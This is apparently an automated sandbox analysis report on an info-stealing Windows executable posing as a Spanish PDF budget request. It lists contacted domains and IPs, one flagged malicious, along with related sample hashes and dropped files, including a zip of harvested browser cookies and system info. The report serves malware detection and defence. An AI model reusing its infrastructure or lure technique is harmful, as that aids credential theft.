http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
https://shehootastayonwhatshelirned.top/	1%	Virustotal		Browse
https://shehootastayonwhatshelirned.top/	0%	Avira URL Cloud	safe
https://www.catcert.net/verarrel	0%	URL Reputation	safe
https://www.catcert.net/verarrel	0%	URL Reputation	safe
https://www.catcert.net/verarrel	0%	URL Reputation	safe
https://www.catcert.net/verarrel	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersignroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersignroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersignroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersignroot.crl0	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	URL Reputation	safe
https://www.catcert.net/verarrel05	0%	URL Reputation	safe
https://www.catcert.net/verarrel05	0%	URL Reputation	safe
https://www.catcert.net/verarrel05	0%	URL Reputation	safe
https://www.catcert.net/verarrel05	0%	URL Reputation	safe
http://www.quovadis.bm0	0%	URL Reputation	safe
http://www.quovadis.bm0	0%	URL Reputation	safe
http://www.quovadis.bm0	0%	URL Reputation	safe
http://www.quovadis.bm0	0%	URL Reputation	safe
http://www.accv.es00	0%	URL Reputation	safe
http://www.accv.es00	0%	URL Reputation	safe
http://www.accv.es00	0%	URL Reputation	safe
http://www.accv.es00	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com0	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com0	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com0	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com0	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy-G20	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy-G20	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy-G20	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy-G20	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersignroot.html0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersignroot.html0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersignroot.html0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersignroot.html0	0%	URL Reputation	safe
http://policy.camerfirma.com0	0%	URL Reputation	safe
http://policy.camerfirma.com0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
shehootastayonwhatshelirned.top	5.230.68.40	true	false	0%, Virustotal, Browse	unknown
telete.in	195.201.225.248	true	true	11%, Virustotal, Browse	unknown
googlehosted.l.googleusercontent.com	172.217.168.33	true	false		high
doc-0o-7g-docs.googleusercontent.com	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	false		high
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fedir.comsign.co.il/crl/ComSignCA.crl0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.2.dr	false		high
https://duckduckgo.com/ac/?q=	SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	false		high
http://crl.chambersign.org/chambersroot.crl0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.accv.es/legislacion_c.htm0U	nssckbi.dll.2.dr	false		high
http://www.certicamara.com/dpc/0Z	nssckbi.dll.2.dr	false		high
https://repository.luxtrust.lu0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.accv.es0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.thawte.com0	nss3.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://cps.chambersign.org/cps/chambersroot.html0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.mozilla.com0	nss3.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.chambersign.org1	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	false		high
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.firmaprofesional.com/cps0	nssckbi.dll.2.dr	false		high
http://www.diginotar.nl/cps/pkioverheid0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://repository.swisssign.com/0	nssckbi.dll.2.dr	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	false		high
http://crl.securetrust.com/SGCA.crl0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.securetrust.com/STCA.crl0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	false		high
https://shehootastayonwhatshelirned.top/	SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.313628670.000000000090E000.00000004.00000020.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.catcert.net/verarrel	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	nss3.dll.2.dr	false		high
http://www.certplus.com/CRL/class2.crl0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	nssckbi.dll.2.dr	false		high
http://www.quovadisglobal.com/cps0	nssckbi.dll.2.dr	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0	nssckbi.dll.2.dr	false		high
http://crl.chambersign.org/chambersignroot.crl0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.xrampsecurity.com/XGCA.crl0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.catcert.net/verarrel05	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.quovadis.bm0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.accv.es00	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ocsp.quovadisoffshore.com0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.pkioverheid.nl/policies/root-policy-G20	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.cert.fnmt.es/dpcs/0	nssckbi.dll.2.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	false		high
http://cps.chambersign.org/cps/chambersignroot.html0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	sqlite3.dll.2.dr	false		high
http://policy.camerfirma.com0	nssckbi.dll.2.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000003.302815241.000000001E191000.00000004.00000001.sdmp, RYwTiizs2t.2.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
5.230.68.40	shehootastayonwhatshelirned.top	Germany	12586	ASGHOSTNETDE	false
172.217.168.33	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
195.201.225.248	telete.in	Germany	24940	HETZNER-ASDE	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	384212
Start date:	08.04.2021
Start time:	18:45:12
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/67@3/4
EGA Information:	Failed
HDC Information:	Successful, ratio: 82.9% (good quality ratio 69.7%) Quality average: 63.6% Quality standard deviation: 36%
HCA Information:	Successful, ratio: 79% Number of executed functions: 28 Number of non-executed functions: 104
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, BackgroundTransferHost.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 52.147.198.201, 204.79.197.200, 13.107.21.200, 104.43.139.144, 168.61.161.212, 13.107.5.88, 13.107.42.23, 95.100.54.203, 172.217.168.14, 20.82.209.183, 23.10.249.26, 23.10.249.43, 8.241.89.254, 8.238.28.126, 8.238.35.254, 8.241.88.254, 8.241.78.126, 20.54.26.129 Excluded domains from analysis (whitelisted): client-office365-tas.msedge.net, ocos-office365-s2s.msedge.net, arc.msn.com.nsatc.net, config.edge.skype.com.trafficmanager.net, e-0009.e-msedge.net, config-edge-skype.l-0014.l-msedge.net, l-0014.config.skype.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, drive.google.com, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, auto.au.download.windowsupdate.com.c.footprint.net, prod.fs.microsoft.com.akadns.net, config.edge.skype.com, au-bg-shim.trafficmanager.net, www.bing.com, afdo-tas-offload.trafficmanager.net, fs.microsoft.com, dual-a-0001.a-msedge.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, skypedataprdcoleus16.cloudapp.net, ocos-office365-s2s-msedge-net.e-0009.e-msedge.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, blobcollector.events.data.trafficmanager.net, l-0014.l-msedge.net Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
195.201.225.248	http://telete.in	Get hash	malicious	Browse	telete.in/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
telete.in	vgUgvbLjyI.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware2.22480.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.16239.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.23167.exe	Get hash	malicious	Browse	195.201.225.248
	40JHtWiswn.exe	Get hash	malicious	Browse	195.201.225.248
	hGnoFRUIBe.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.7401.exe	Get hash	malicious	Browse	195.201.225.248
	SWKp7KyFtP.exe	Get hash	malicious	Browse	195.201.225.248
	C6vcYLfTa9.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.21202.exe	Get hash	malicious	Browse	195.201.225.248
	EBjyq0UYDN.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.10758.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.25113.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.1450.exe	Get hash	malicious	Browse	195.201.225.248
	OektZ8OQ0h.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.Trojan.GenericKD.46018620.1609.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.Trojan.Siggen13.1734.14778.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.Trojan.GenericKD.36625148.3633.exe	Get hash	malicious	Browse	195.201.225.248
	L87N50MbDG.exe	Get hash	malicious	Browse	195.201.225.248
	o1wxaQ9Fwh.exe	Get hash	malicious	Browse	195.201.225.248

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HETZNER-ASDE	Fax-Message-4564259.html	Get hash	malicious	Browse	46.4.41.213
	XN123gfQJQ.exe	Get hash	malicious	Browse	88.99.66.31
	PI-SO-P1010922.exe	Get hash	malicious	Browse	176.9.182.156
	SecuriteInfo.com.Trojan.PWS.Siggen2.64388.32153.exe	Get hash	malicious	Browse	88.99.66.31
	Three.exe	Get hash	malicious	Browse	94.130.198.87
	Four.exe	Get hash	malicious	Browse	136.243.150.2
	frox0cheats.exe	Get hash	malicious	Browse	168.119.38.182
	LWlcpDjYIQ.exe	Get hash	malicious	Browse	144.76.207.76
	1wOdXavtlE.exe	Get hash	malicious	Browse	88.99.66.31
	eQLPRPErea.exe	Get hash	malicious	Browse	135.181.58.27
	vbc.exe	Get hash	malicious	Browse	195.201.179.80
	vgUgvbLjyI.exe	Get hash	malicious	Browse	195.201.225.248
	Rechnung.doc	Get hash	malicious	Browse	46.4.51.158
	6IGbftBsBg.exe	Get hash	malicious	Browse	88.99.66.31
	SecuriteInfo.com.W32.AIDetect.malware2.22480.exe	Get hash	malicious	Browse	195.201.225.248
	Revised Invoice No CU 7035.exe	Get hash	malicious	Browse	78.46.133.81
	ikoAImKWvI.exe	Get hash	malicious	Browse	88.99.66.31
	V7UnYc7CCN.exe	Get hash	malicious	Browse	88.99.66.31
	uTQdPoKj0h.exe	Get hash	malicious	Browse	95.217.123.103
	uTQdPoKj0h.exe	Get hash	malicious	Browse	95.217.123.103
ASGHOSTNETDE	purchase order.doc	Get hash	malicious	Browse	5.230.28.5
	purchase order.doc	Get hash	malicious	Browse	5.230.28.5
	purchase order.doc	Get hash	malicious	Browse	5.230.28.5
	svchost.exe	Get hash	malicious	Browse	89.144.1.26
	sP6iCH7OJG.exe	Get hash	malicious	Browse	85.93.0.136
	NVoSfVRQVy.exe	Get hash	malicious	Browse	85.93.1.64
	purchase order.doc	Get hash	malicious	Browse	5.230.28.211
	Construction_Rondeau.doc	Get hash	malicious	Browse	193.187.173.215
	Construction_Rondeau.doc	Get hash	malicious	Browse	193.187.173.215
	Construction_Rondeau.doc	Get hash	malicious	Browse	193.187.173.215
	OriGene_Technologies.doc	Get hash	malicious	Browse	193.187.173.215
	SigLaw.doc	Get hash	malicious	Browse	193.187.173.215
	Phoenix_Theatres.doc	Get hash	malicious	Browse	193.187.173.215
	receipt_FedEX_4028893.doc	Get hash	malicious	Browse	193.187.172.42
	receipt_FedEX_4028893.doc	Get hash	malicious	Browse	193.187.172.42
	ShipmentInfoUSPS_18557704.doc	Get hash	malicious	Browse	193.187.172.42
	ShipmentInfoUSPS_18557704.doc	Get hash	malicious	Browse	193.187.172.42
	430#U0437.js	Get hash	malicious	Browse	85.93.16.47
	droppe.exe	Get hash	malicious	Browse	193.24.209.70
	BK.485799485.jse	Get hash	malicious	Browse	193.24.209.70

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	vgUgvbLjyI.exe	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware2.22480.exe	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.16239.exe	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.23167.exe	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	agmz0F8LbA.dll	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	aunobp.dll	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	40JHtWiswn.exe	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	q6W61jpqPB.doc	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	TlUrqQBd4Y.xlsm	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	ofcRreui1e.dll	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	hostsvc.dll	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	sample.exe	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	f6a1vvMXQa.dll	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	hGnoFRUIBe.exe	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	Reports-018315.xlsm	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	Invoice__7477.xlsm	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.7401.exe	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	44285,5327891204.dll	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	SWKp7KyFtP.exe	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
	C6vcYLfTa9.exe	Get hash	malicious	Browse	5.230.68.40 195.201.225.248
37f463bf4616ecd445d4a1937da06e19	XN123gfQJQ.exe	Get hash	malicious	Browse	172.217.168.33
	documento.xlsb	Get hash	malicious	Browse	172.217.168.33
	securedmessage.htm	Get hash	malicious	Browse	172.217.168.33
	Smart wireless request.xlsb	Get hash	malicious	Browse	172.217.168.33
	SecuriteInfo.com.Trojan.PWS.Siggen2.64388.32153.exe	Get hash	malicious	Browse	172.217.168.33
	BB44.vbs	Get hash	malicious	Browse	172.217.168.33
	BrgW593cHH.exe	Get hash	malicious	Browse	172.217.168.33
	BrgW593cHH.exe	Get hash	malicious	Browse	172.217.168.33
	FAKTURA I RACHUNKI.exe	Get hash	malicious	Browse	172.217.168.33
	WDnE51mua6.exe	Get hash	malicious	Browse	172.217.168.33
	ikoAImKWvI.exe	Get hash	malicious	Browse	172.217.168.33
	V7UnYc7CCN.exe	Get hash	malicious	Browse	172.217.168.33
	SM25.vbs	Get hash	malicious	Browse	172.217.168.33
	FQ45.vbs	Get hash	malicious	Browse	172.217.168.33
	Signed pages of agreement copy.html	Get hash	malicious	Browse	172.217.168.33
	Payment Report.html	Get hash	malicious	Browse	172.217.168.33
	dMeVLLeyLc.exe	Get hash	malicious	Browse	172.217.168.33
	avast_secure_browser_setup.exe	Get hash	malicious	Browse	172.217.168.33
	PaymentAdvice-copy.htm	Get hash	malicious	Browse	172.217.168.33
	57fvgYpwnN.exe	Get hash	malicious	Browse	172.217.168.33

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleHandler.dll	vgUgvbLjyI.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware2.22480.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware1.16239.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware1.23167.exe	Get hash	malicious	Browse
	40JHtWiswn.exe	Get hash	malicious	Browse
	hGnoFRUIBe.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware1.7401.exe	Get hash	malicious	Browse
	SWKp7KyFtP.exe	Get hash	malicious	Browse
	C6vcYLfTa9.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware1.21202.exe	Get hash	malicious	Browse
	EBjyq0UYDN.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware1.10758.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware1.25113.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware1.1450.exe	Get hash	malicious	Browse
	OektZ8OQ0h.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKD.46018620.1609.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Siggen13.1734.14778.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKD.36625148.3633.exe	Get hash	malicious	Browse
	L87N50MbDG.exe	Get hash	malicious	Browse
	o1wxaQ9Fwh.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\1xVPfvJcrg Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\M8gHzW2avYe.zip Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	1181
Entropy (8bit):	7.513642713430229
Encrypted:	false
SSDEEP:	24:9sTzXB1YPVlMnyPmE0ABMNN/fnZkzHwlMPeDd4a:9sTT0VlMkbBM3fSri4eDd4a
MD5:	674BB63E297AF95B7813733340B3C5F6
SHA1:	36E5B0766F104981742534ADF2EA531FCC4669FC
SHA-256:	DAF40C4304B64351F2210695B1057A155EF0DE7F04A168BEC3D21B221C4F1514
SHA-512:	E16B89563858D91A909689AB70AD6BFDF2B6116E038DEA99D1F297B5DA15F59933AA2E8B4CA889BCE388A9C8448FC454471CDDAD9A2D8CBB2E7E66BB586B8C41
Malicious:	false
Reputation:	low
Preview:	PK..........R..c............browsers/cookies/Google Chrome_Default.txtUT....Oo`.Oo`.Oo`%.r.0......Q......V.!...H.^Jj..0.V..;.[..2F.?...N..y...<.0..;.y..F/..V.8NvZ._..m;f.{H......].\|.[...R......./...J:I.. I/...Cgv..!.LQ...n......n.SY.B.xSTm2..e_...f)...p..St.C...l..AQe.n..k...PK..........R.G\.....8.......System Info.txtUT....Oo`.Oo`.Oo`uSMO.0.=...a..D-..h....KQ.......i-R;....?~'4a.@.......x-.......!.....kU...c.J...2...0.;.C.,.QJc..3._.Z..Y...;FhH...@Y..i.`..6..._MS..x6..h.'.x..F.`.E.A..F.h....^..F;.Z.Z+..,Q@!.7.......x..G%]...V.gc..h........yy.+.`.Qxet......Z..........(... ..um.j.5$..8....M~:..!...Pv...b>...aQ..w.../.?\..Y.7iK...%,...f.U..G<..`..6t........G..<;x..Wq..FI.....=.2;2.M.k....^.+eu...^..u.....].y.C.ck?.......z!...kc.-SH..r.4.fS;Yt.Mn..9..O.1...FyW.T....8$O*..E...a.rk.y.0.N......:..,]i.EY.`gU....e..I.Pp..b-E!-L'.c#B..3.A.\|.0f..gr..(...P..$ ....y`p)...z..$.H..H....#q.P..pCQ.?%..iY(...P:F..........Ni...X.C..8...'q..>.+..B56.k.?PK......

C:\Users\user\AppData\LocalLow\RYwTiizs2t Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\frAQBc8Wsa Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleHandler.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	123344
Entropy (8bit):	6.504957642040826
Encrypted:	false
SSDEEP:	1536:DkO/6RZFrpiS7ewflNGa35iOrjmwWTYP1KxBxZJByEJMBrsuLeLsWxcdaocACs0K:biRZFdBiussQ1MBjq2aocts03/7FE
